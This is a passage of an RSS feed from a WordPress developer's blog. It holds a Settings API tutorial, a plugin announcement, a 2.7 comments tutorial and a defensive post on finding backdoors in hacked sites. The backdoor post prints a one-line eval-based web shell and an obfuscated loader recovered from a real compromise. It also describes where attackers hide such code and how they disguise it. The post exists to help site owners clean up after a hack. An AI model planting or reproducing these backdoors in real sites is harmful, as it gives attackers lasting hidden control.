<p>First, we call settings_fields(&#8216;plugin_options&#8217;). This outputs the hidden bits that we need to make our options page both do what we want and to make it secure with a nonce. The string &#8220;plugin-options&#8221; can be anything, as long as it&#8217;s unique. There is another call we&#8217;re going to have to make with this same string later.</p>
<p>Next, we call do_settings_sections(&#8216;plugin&#8217;). This is going to output all of our input fields. Text input boxes, radio fields, anything we like. Obviously though, we have to tell it what those fields are and look like somewhere. We do both of these things in the next section.</p>
<h3>Defining the settings</h3>
<pre class="brush: php; notranslate">
&lt;?php // add the admin settings and such
add_action('admin_init', 'plugin_admin_init');
function plugin_admin_init(){
register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );
add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin');
add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main');
}?&gt;
</pre>
<p>Here we&#8217;ve done three things. Let&#8217;s break that down, shall we?</p>
<pre class="brush: php; notranslate">
&lt;?php register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );?&gt;
</pre>
<p>First, we register the settings. In my case, I&#8217;m going to store all my settings in one options field, as an array. This is usually the recommended way. The first argument is a group, which needs to be the same as what you used in the settings_fields function call. The second argument is the name of the options. If we were doing more than one, we&#8217;d have to call this over and over for each separate setting. The final arguement is a function name that will validate your options. Basically perform checking on them, to make sure they make sense.</p>
<p>Ignoring the validation function for a moment, lets move on to the setting section. This one is actually quite simple.</p>
<pre class="brush: php; notranslate">
&lt;?php add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); ?&gt;
</pre>
<p>This creates a &#8220;section&#8221; of settings.<br />
The first argument is simply a unique id for the section.<br />
The second argument is the title or name of the section (to be output on the page).<br />
The third is a function callback to display the guts of the section itself.<br />
The fourth is a page name. This needs to match the text we gave to the do_settings_sections function call.</p>
<p>That function callback in the third argument should look a bit like this:</p>
<pre class="brush: php; notranslate">
&lt;?php function plugin_section_text() {
echo '&lt;p&gt;Main description of this section here.&lt;/p&gt;';
} ?&gt;
</pre>
<p>Simple, really. You can put any HTML you like here.</p>
<p>Now that we&#8217;ve talked about the section itself, we need to talk about the fields in that section.</p>
<pre class="brush: php; notranslate">
&lt;?php add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); ?&gt;
</pre>
<p>The first argument is simply a unique id for the field.<br />
The second is a title for the field.<br />
The third is a function callback, to display the input box.<br />
The fourth is the page name that this is attached to (same as the do_settings_sections function call).<br />
The fifth is the id of the settings section that this goes into (same as the first argument to add_settings_section).</p>
<p>The only difficult one here is, again, the callback. Let&#8217;s look at that, shall we?</p>
<pre class="brush: php; notranslate">
&lt;?php function plugin_setting_string() {
$options = get_option('plugin_options');
echo &quot;&lt;input id='plugin_text_string' name='plugin_options[text_string]' size='40' type='text' value='{$options['text_string']}' /&gt;&quot;;
} ?&gt;
</pre>
<p>Simple. It just gets the options then outputs the input HTML for it. Note the &#8220;name&#8221; is set to plugin_options[text_string]. This is not coincidence, the name *must* start with plugin_options in our case. Why? Because that is the second argument we passed to register_settings.</p>
<p>The settings pages use a whitelist system. Only valid options get read. Anything else gets tossed out, for security. Here, we&#8217;re using a php trick. PHP interprets an incoming GET or POST data of name[thing] as being an array called name with &#8216;thing&#8217; as one of the elements in it. So, all our options are going to take the form of plugin_options[some_thing], so that we get that single array back, and the array name itself is whitelisted.</p>
<p>Since this is designed with security in mind, we have one last callback to deal with: The validation callback that we skipped earlier:</p>
<pre class="brush: php; notranslate">
&lt;?php // validate our options
function plugin_options_validate($input) {
$newinput['text_string'] = trim($input['text_string']);
if(!preg_match('/^[a-z0-9]{32}$/i', $newinput['text_string'])) {
$newinput['text_string'] = '';
}
return $newinput;
}
?&gt;
</pre>
<p>Here I&#8217;m taking a liberty with the code. I&#8217;m going to say that our text_string has to be exactly 32 alphanumerics long. You can actually validate any way you want in here. The point of this function is simply to let you check all the incoming options and make sure they are valid in some way. Invalid options need to be fixed or blanked out. Finally, you return the whole input array again, which will get automatically saved to the database.</p>
<p>Take special note of the fact that I don&#8217;t return the original array. One of the drawbacks of this sort of approach is that somebody could, in theory, send bad options back to the plugin. These would then be in the $input array. So by validating my options and *only* my options, then any extra data they send back which might make it here gets blocked. So the validation function not only makes sure that my options have valid values, but that no other options get through. In short, $input is untrusted data, but the returned $newinput should be trusted data.</p>
<h3>And we&#8217;re done. Wait, what?</h3>
<p>Yes, the whole point of this exercise is that the options are automatically saved for you. And everything else. You have an options page, you have fields on it, you are validating them&#8230; and that&#8217;s it. The actual *display* of the page is even done for you. Remember the input we made? It&#8217;ll get put into a table with the title on the left side before it, waiting for input.</p>
<p>Another nice thing is that this is easily expandable. For each option to add we:<br />
1. Do a new add_settings_field call.<br />
2. Make the function to display that particular input.<br />
3. Add code to validate it when it comes back to us from the user.</p>
<p>To add a new section, you:<br />
1. Do a new add_settings_section call.<br />
2. Make the function to display any descriptive text about it.<br />
3. Add settings fields to it as above.</p>
<h3>One last thing</h3>
<p>Sometimes we don&#8217;t need a whole page. Sometimes we only have one setting, and it would work well on some existing page. Maybe on the general page, or the discussion page. Well, we can add settings to those too!</p>
<p>If you look through the core code, you&#8217;ll find references like do_settings_sections(&#8216;general&#8217;) or do_settings_sections(&#8216;writing&#8217;), and so on. These you can add on to like any others, getting your settings on the main WordPress settings pages instead of having to make your own.</p>
<p>Just do this:<br />
1. Make an add_settings_section call. The last argument should be &#8220;general&#8221;, or wherever you want to add your new section.<br />
2. Add fields to your new section, using add_settings_field.<br />
3. You still need to make your own settings whitelisted. To do this, you&#8217;ll need to make a call to register_setting. The first argument should be the same as the page name, like &#8216;general&#8217;, or wherever you&#8217;re putting your settings. This will let that page recognize and allow your settings to come through.</p>
<p>All the callbacks will basically be the same for this method. You&#8217;re just skipping a step of making your own page. Easy.</p>
<p>And there you go. More reading: <a title="Settings API on WordPress Codex" href="http://codex.wordpress.org/Settings_API">http://codex.wordpress.org/Settings_API</a></p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F1l&count=vertical&related=otto42&text=WordPress Settings API Tutorial' class='twitter-share-button' data-text='WordPress Settings API Tutorial' data-url='http://otto42.com/1l' data-counturl='http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
		<item>
		<title>Simple Facebook Connect</title>
		<link>http://ottodestruct.com/blog/2009/simple-facebook-connect/</link>
		<comments>http://ottodestruct.com/blog/2009/simple-facebook-connect/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 15:47:41 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=579</guid>
		<description><![CDATA[Working on a new WordPress plugin lately. It&#8217;s basically a simple and easy way to make Facebook Connect work with your WordPress based website. More info about it here: Simple Facebook Connect. Short list of current features: Simple 2 step &#8230; <a href="http://ottodestruct.com/blog/2009/simple-facebook-connect/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2009/simple-facebook-connect/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Working on a new WordPress plugin lately. It&#8217;s basically a simple and easy way to make Facebook Connect work with your WordPress based website.</p>
<p>More info about it here: <a title="Simple Facebook Connect" href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a>.</p>
<p>Short list of current features:</p>
<ul>
<li>Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.</li>
<li>Share button, with meta support.</li>
<li>User status widget</li>
<li>Comment using Facebook Identity (alpha, not operational, for testing only, will be working soon).</li>
</ul>
<p>Like most things I announce early, it&#8217;s not fully featured yet. I&#8217;m modifying and adding onto it as I go along, so expect a lot of updates to show up in the plugin list if you use it.</p>
<p>And if you have ideas for how to improve it, please <a href="mailto:otto@ottodestruct.com">email them to me</a>. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F1n&count=vertical&related=otto42&text=Simple Facebook Connect' class='twitter-share-button' data-text='Simple Facebook Connect' data-url='http://otto42.com/1n' data-counturl='http://ottodestruct.com/blog/2009/simple-facebook-connect/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2009/simple-facebook-connect/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2009/simple-facebook-connect/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/simple-facebook-connect/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
	
	</item>
		<item>
		<title>How to find a backdoor in a hacked WordPress</title>
		<link>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/</link>
		<comments>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 22:14:21 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spammer]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=555</guid>
		<description><![CDATA[Edit: This post has moved to here: http://ottopress.com/2009/hacked-wordpress-backdoors/. Take your comments there. Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him &#8230; <a href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Edit: This post has moved to here: <a href="http://ottopress.com/2009/hacked-wordpress-backdoors/">http://ottopress.com/2009/hacked-wordpress-backdoors/</a>. Take your comments there.</p>
<p>Over <a href="http://jungleg.com/2009/09/21/feeling-secure-with-the-latest-wordpress-version-think-again-and-7-tips-to-secure-it/">here</a>, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some <a href="http://friendfeed.com/jungleg/5e3b8b40/feeling-secure-with-latest-wordpress-version">minor back and forth on FriendFeed</a>, I got him to do a search which found a malicious backdoor he might not otherwise have found.</p>
<p>In so doing, it occurred to me that most people don&#8217;t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I&#8217;d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.</p>
<p>Non-technical users can safely ignore this post. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<span id="more-555"></span></p>
<p>What&#8217;s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.</p>
<p>However, let&#8217;s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It&#8217;s also time-consuming. But, if you don&#8217;t have regular backups, you may have no real choice.</p>
<p>First, the obvious stuff:</p>
<ul>
<li>A backdoor is code that has been added to your site.</li>
<li>It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.</li>
<li>It will be disguised to seem innocuous, or at least non threatening.</li>
<li>It will most likely involve additions to the database.</li>
</ul>
<p>Let&#8217;s go over these individual points one at a time.</p>
<h3>Added code</h3>
<p>While it&#8217;s true that simple &#8220;backdoors&#8221; often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the <a href="http://us.php.net/eval">eval</a> command.</p>
<p>A simple example would be this:</p>
<pre class="brush: php; notranslate">eval($_POST['attacker_key']);</pre>
<p>This, very simply, executes any PHP code sent to it from a browser.</p>
<p>Of course, they wouldn&#8217;t put this code just anywhere&#8230; It has to not be that easy to find, and it has to survive a normal WordPress upgrade.</p>
<h3>How to hide code</h3>
<p>First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There&#8217;s three obvious places:</p>
<p>1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.</p>
<p>2. Plugins. Plugins are a good place to hide code. People don&#8217;t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.</p>
<p>3. Uploads. Perfect. It&#8217;s explicitly designed to be writable. People don&#8217;t generally see what&#8217;s in the folders, since they&#8217;re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.</p>
<h3>The art of disguise</h3>
<p>This one is easy.</p>
<p>Step 1: Pick a name that looks harmless.</p>
<p>wp-cache.old. email.bak. wp-content.old.tmp. Something you won&#8217;t think of. Remember, it doesn&#8217;t have to end with PHP just because it&#8217;s got PHP code in it.</p>
<p>Step 2: Hide the code itself.</p>
<p>Except in <a href="http://wordpress.org/extend/plugins/php-code-widget/">special circumstances</a>, legitimate code will not use &#8220;eval&#8221;. But, it happens often enough to be generally considered not harmful in and of itself. So looking for &#8220;eval&#8221; is not a good way to find malicious code.</p>
<p>However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is <a href="http://us3.php.net/base64_encode">base64 encoding</a>.</p>
<p>Base 64 encoding lets them disguise their commands to their hidden &#8220;eval&#8221; command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: <a href="http://php.net/base64_decode">base64_decode</a>.</p>
<p>Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There&#8217;s almost never a good reason to use them. Note the &#8220;almost&#8221; there, many plugins (notably the venerable <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/">Google Sitemap Generator</a>) use base64_decode in legitimate ways. So it&#8217;s not exactly a smoking gun, but it is <em>highly</em> questionable for some randomly named file lying around to have that inside it.</p>
<p>Smarter authors realize this, and so have taken steps to hide even that sign&#8230;</p>
<h3>Database obfuscation</h3>
<p>Here&#8217;s a bit of code I&#8217;ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.</p>
<p>Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was <a href="http://us.php.net/manual/en/function.include.php">included</a> at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).</p>
<pre class="brush: php; notranslate">global $wpdb;
$trp_rss=$wpdb-&gt;get_var(
&quot;SELECT option_value FROM $wpdb-&gt;options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'&quot;);
preg_match(&quot;!events or a cale\&quot;\;s\:7\:\'(.*?)\'!is&quot;,$trp_rss,$trp_m);
$trp_f=create_function(&quot;&quot;,strrev($trp_m[1]));
$trp_f();
</pre>
<ol>
<li>It retrieves a value from the WordPress database.</li>
<li>It pulls a specific section of that value out.</li>
<li>It creates a function to run that value as PHP code.</li>
<li>It runs that function.</li>
</ol>
<p>Note how it cleverly avoids all the warning signs.</p>
<ul>
<li>Nowhere does it use &#8220;eval&#8221;.</li>
<li>base64 is not visible at all.</li>
<li>The function named strrev is used. strrev reverses a string. So the code that it&#8217;s pulling out is reversed! So much for looking for &#8220;base64_decode&#8221;.</li>
</ul>
<p>The actual value in the database looked like this:</p>
<pre>...a bunch of junk here...J3byJXZ"(edoced_46esab(lave</pre>
<p>Reverse that. What do you have? Why, it&#8217;s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.</p>
<p>The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.</p>
<p>So, break down how this code works.</p>
<ol>
<li>The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.</li>
<li>That code, which does not use any trigger words, loads a nondescript value from the options table.</li>
<li>It performs some string operations on that code, then executes it.</li>
<li>The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.</li>
</ol>
<h3>Summary</h3>
<p>This is the sort of thing you&#8217;re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I&#8217;ve never seen a hacked WordPress installation that was missing it. Sometimes there&#8217;s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.</p>
<p>And one more thing&#8230; before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn&#8217;t actually hacked already, before you put the latest code on there. If you don&#8217;t fully clean up after a hack, then you *stay* hacked. It&#8217;s not a new hack, it&#8217;s the same one.</p>
<p>The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don&#8217;t know that for sure is really not all that helpful. You&#8217;re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they&#8217;re found. But they can&#8217;t patch code that made it onto your site from some other method, can they? Just something to keep in mind.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F1p&count=vertical&related=otto42&text=How to find a backdoor in a hacked WordPress' class='twitter-share-button' data-text='How to find a backdoor in a hacked WordPress' data-url='http://otto42.com/1p' data-counturl='http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
	
	</item>
		<item>
		<title>WordPress 2.7 Comments Enhancements</title>
		<link>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/</link>
		<comments>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 15:43:03 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[paging]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[stylesheets]]></category>
		<category><![CDATA[theme editing]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[threading]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress themes]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=424</guid>
		<description><![CDATA[This post has been moved here: http://ottopress.com/2008/wordpress-2-7-comments-enhancements/ WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your &#8230; <a href="http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>This post has been moved here: <a href="http://ottopress.com/2008/wordpress-2-7-comments-enhancements/">http://ottopress.com/2008/wordpress-2-7-comments-enhancements/</a></p>
<p>WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I&#8217;d suggest getting to work on making your themes compatible right away.</p>
<p>Read on if you&#8217;re a theme author&#8230;</p>
<p><span id="more-424"></span></p>
<p><strong>Note:</strong> A lot of people seem to miss this key bit: Enhanced Comments are optional and default to off, even after you make these changes. You have to go to the Settings-&gt;Discussion panel to turn the features on.</p>
<p>Actually &#8220;compatible&#8221; is not quite the right term. Old themes will continue to work fine in WordPress 2.7. It&#8217;s just the threading and paging and javascript enhancements need the theme to support it. This is much the same as the sidebar widgets, the theme has to support it for the functionality to work. So this article is really not about 2.7 <em>compatibility</em>, it&#8217;s about 2.7 <em>capability</em>.</p>
<p>Note that this article will explain some of the changes needed to make themes capable of supporting the new comments functions, however there&#8217;s no substitute for the real thing. Install a local copy of WordPress trunk on your home machine (possibly using XAMPP) and test it there.</p>
<p>Also note that this is all based on the current state of WordPress trunk, and is subject to change before WordPress 2.7 is released. However, it&#8217;s probably not going to change all that much at this point.</p>
<h3>How to create a 2.7 compatible comments.php</h3>
<h4>2.7 Detection</h4>
<p>If you want your theme to be backward compatible as well, then there&#8217;s a simple way to do it. Just check for the wp_list_comments function, like so:</p>
<pre class="brush: php; notranslate">if (function_exists('wp_list_comments')) :
// new comments.php stuff
else :
// old comments.php stuff
endif;</pre>
<p>While you could check for the version number of WordPress, this method is better because it simply looks for the actual function you&#8217;re going to use anyway. Never make assumptions based on version number.</p>
<p>One of the <a href="http://justintadlock.com/archives/2008/11/01/making-your-themes-comments-compatible-with-wordpress-27-and-earlier-versions">more interesting ways</a> I&#8217;ve seen to use this is to have the &#8220;old comments&#8221; php in a separate file entirely, which is then included. This preserves backwards compatibility for your theme in a simple way. Here&#8217;s a quick example code for that approach:</p>
<pre class="brush: php; notranslate">&lt;?php
add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
	if ( !function_exists('wp_list_comments') )
		$file = TEMPLATEPATH . '/legacy.comments.php';
	return $file;
}
?&gt;</pre>
<p>Adding this code to a theme&#8217;s functions.php file will make the theme use the &#8220;legacy.comments.php&#8221; for older non-2.7 installations. That way, you can simply rename your old comments.php and then make a new one based on the new functionality. Clever.</p>
<h4>Password Protection Check</h4>
<p>Put this code at the top of your comments.php file. This is what lets it support the post password functionality. Note that this code is quite similar to the previous way that it was done (by checking the cookie directly), but now WordPress has a specific function to do it. You should use this function in case the functionality changes in the future, your code will be forward compatible:</p>
<pre class="brush: php; notranslate">if (!empty($_SERVER['SCRIPT_FILENAME']) &amp;&amp; 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
	die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) {
	echo 'This post is password protected. Enter the password to view comments.';
	return;
}
&lt;h4&gt;The Comments Loop&lt;/h4&gt;
The Comments Loop used to look similar to this (much simplified from a real one):
[php]if ($comments) :
&lt;?php $comment_count = get_comment_count($post-&gt;ID); echo $comment_count['approved']; ?&gt; Comments
&lt;ul class=&quot;commentlist&quot;&gt;
&lt;?php foreach( $comments as $comment ) :
// stuff to display the comment in an LI here
endforeach;
?&gt;&lt;/ul&gt;
&lt;?php else :
if ('open' == $post-comment_status) :
	// If comments are open, but there are no comments.
else :
	// comments are closed
endif;
endif;</pre>
<p>Basically, it went through the comments manually and output all the necessary pieces. Easy, but very manual. This also had the problem of being very inconsistent and hard to manage for your theme&#8217;s users, especially if you heavily customized it.</p>
<p>The new comments loop is much simpler:</p>
<pre class="brush: php; notranslate">&lt;?php if ( have_comments() ) : ?&gt;
&lt;h4 id=&quot;comments&quot;&gt;&lt;?php comments_number('No Comments', 'One Comment', '% Comments' );?&gt;&lt;/h4&gt;

&lt;ul class=&quot;commentlist&quot;&gt;
&lt;?php wp_list_comments(); ?&gt;
&lt;/ul&gt;

&lt;div class=&quot;navigation&quot;&gt;
&lt;div class=&quot;alignleft&quot;&gt;&lt; ?php previous_comments_link() ?&gt;&lt;/div&gt;
&lt;div class=&quot;alignright&quot;&gt;&lt; ?php next_comments_link() ?&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;?php else : // this is displayed if there are no comments so far ?&gt;
	&lt;?php if ('open' == $post-&gt;comment_status) :
		// If comments are open, but there are no comments.
	else : // comments are closed
	endif;
endif;
?&gt;</pre>
<p>That new one is, in fact, a complete comments loop. No simplification at all. Unless you want something displayed for &#8220;no comments&#8221; or &#8220;comments closed&#8221;, of course. I don&#8217;t have anything showing there.</p>
<p>There are three important pieces to note here:</p>
<ul>
<li>The have_comments() function replaces the check on the global $comments variable.</li>
<li>The wp_list_comments() function now outputs all the comments. It does threading, the classes, everything new.</li>
<li>There&#8217;s a new navigation section to do comment paging.</li>
</ul>
<h4>The Power of Javascript</h4>
<p>To support the new Javascript functionality with comment threading, some minor bits of code are needed:</p>
<p>First, in the header.php, add this line immediately before the call to wp_head():</p>
<pre class="brush: php; notranslate">if ( is_singular() ) wp_enqueue_script( 'comment-reply' );</pre>
<p>That code adds the comment-reply javascript to the single post pages, letting the comment reply links work correctly. WordPress specifically does NOT do this itself, for the reason that use of this script requires certain naming conventions and parameters in the comment form, which you&#8217;ll have to add.</p>
<p>So, your comment form has a new parameter that you have to add:</p>
<pre class="brush: php; notranslate">&lt;?php comment_id_fields(); ?&gt;</pre>
<p>This adds a bit of code to your form which makes it display two hidden inputs: comment_post_ID and comment_parent. Your form probably had the comment_post_ID before, so you need to remove it. The comment_parent is there for the javascript, so that replies to comments get threaded properly.</p>
<p>Also, your comment textarea MUST have an id=&#8221;comment&#8221;. The javascript expects it for focus purposes. If you used anything else, change it. Note that because of this, no other element on your page can have the &#8220;comment&#8221; ID.</p>
<p>Finally, the entire comment form MUST be surrounded by a DIV with an id=&#8221;respond&#8221;. In some previous themes (including the default ones), there would be an anchor tag like this:</p>
<pre class="brush: xml; notranslate">&lt;a id=&quot;respond&quot;&gt;&lt;/a&gt;</pre>
<p>This was there to allow the link from the front page to go directly to the respond section when there were no comments already. That still happens, but now there&#8217;s a double purpose. The javascript moves the comment form to where the reply link is, so instead of it being an anchor, it needs to be a DIV that surrounds the comment form.</p>
<p>So, remove that anchor, and add a DIV with an id=&#8221;respond&#8221; around the entire comment form. The link from the front page still works this way with all modern browsers, and the javascript can now move the form around on the page as needed.</p>
<p>Next, you can replace the call to your normal &#8220;Leave a Comment&#8221; text with something like this:</p>
<pre class="brush: php; notranslate">
&lt;h3&gt;&lt;?php comment_form_title(); ?&gt;&lt;/h3&gt;
</pre>
<p>This makes a comment form title of &#8220;Leave a Reply&#8221; which will change to &#8220;Leave a Reply to Whoever&#8221; when somebody is replying directly to another person. You can customize this, if you like, with two parameters, like so:</p>
<pre class="brush: php; notranslate">&lt;?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?&gt;</pre>
<p>The %s will be replaced with the person&#8217;s name. This will only happen when the javascript isn&#8217;t working and the reply links have to cause a page refresh. So it&#8217;s usually not worth customizing much. Still, not everybody runs javascript and so this is nice to let them know who they are replying to.</p>
<p>Finally, you&#8217;ll notice that when somebody clicks &#8220;reply&#8221; and the comment form appears there, maybe they decide to cancel instead. So, that cancel link needs to be in your respond section. Here&#8217;s the code to do that, just put it right below your &#8220;leave a message&#8221; header in the comment form area:</p>
<pre class="brush: php; notranslate">
&lt;div id=&quot;cancel-comment-reply&quot;&gt;
	&lt;small&gt;&lt;?php cancel_comment_reply_link() ?&gt;&lt;/small&gt;&lt;/div&gt;
</pre>
<p>That&#8217;s pretty much it for making the AJAX work. With this, the new features on the Settings-&gt;Discussion panel will work. Obviously, you can modify this somewhat as needed for your theme, these are just general principles that you&#8217;ll need to use.</p>
<h4>Styling</h4>
<p>Now that you have it working, there&#8217;s plenty of new styling you can add to comments. The new comments loop automatically puts every comment into an LI tag, and threads them as well, with embedded UL/LI tags. It also adds a ton of classes on all these LIs which surround every comment in this fashion:</p>
<ul>
<li>comment, trackback, pingback classes get added depending on the type of the comment.</li>
<li>byuser gets added if the comment is by a registered user of the site.</li>
<li>comment-author-authorname gets added for specific registered users.</li>
<li>bypostauthor gets added if the comment is by the author of the post the comment is attached to.</li>
<li>odd and even classes are added to odd and even numbered comments</li>
<li>alt is added to every other comment</li>
<li>thread-odd, thread-even, and thread-alt classes are the same as the odd/even/alt classes, but these only apply to the top level of each set of comments and replies</li>
<li>depth-1 is added to the top level comments, depth-2 to the next level, and so on.</li>
</ul>
<p>What&#8217;s more, a comment_class filter is provided to allow you to add your own classes. Here&#8217;s an example of that. This example function adds a <a href="http://microid.org/">microid</a> to every comment with the microid for the comment authors given URL and email address. This sort of thing could be done in a plugin or a theme&#8217;s functions.php file, whatever.</p>
<pre class="brush: php; notranslate">
// add a microid to all the comments
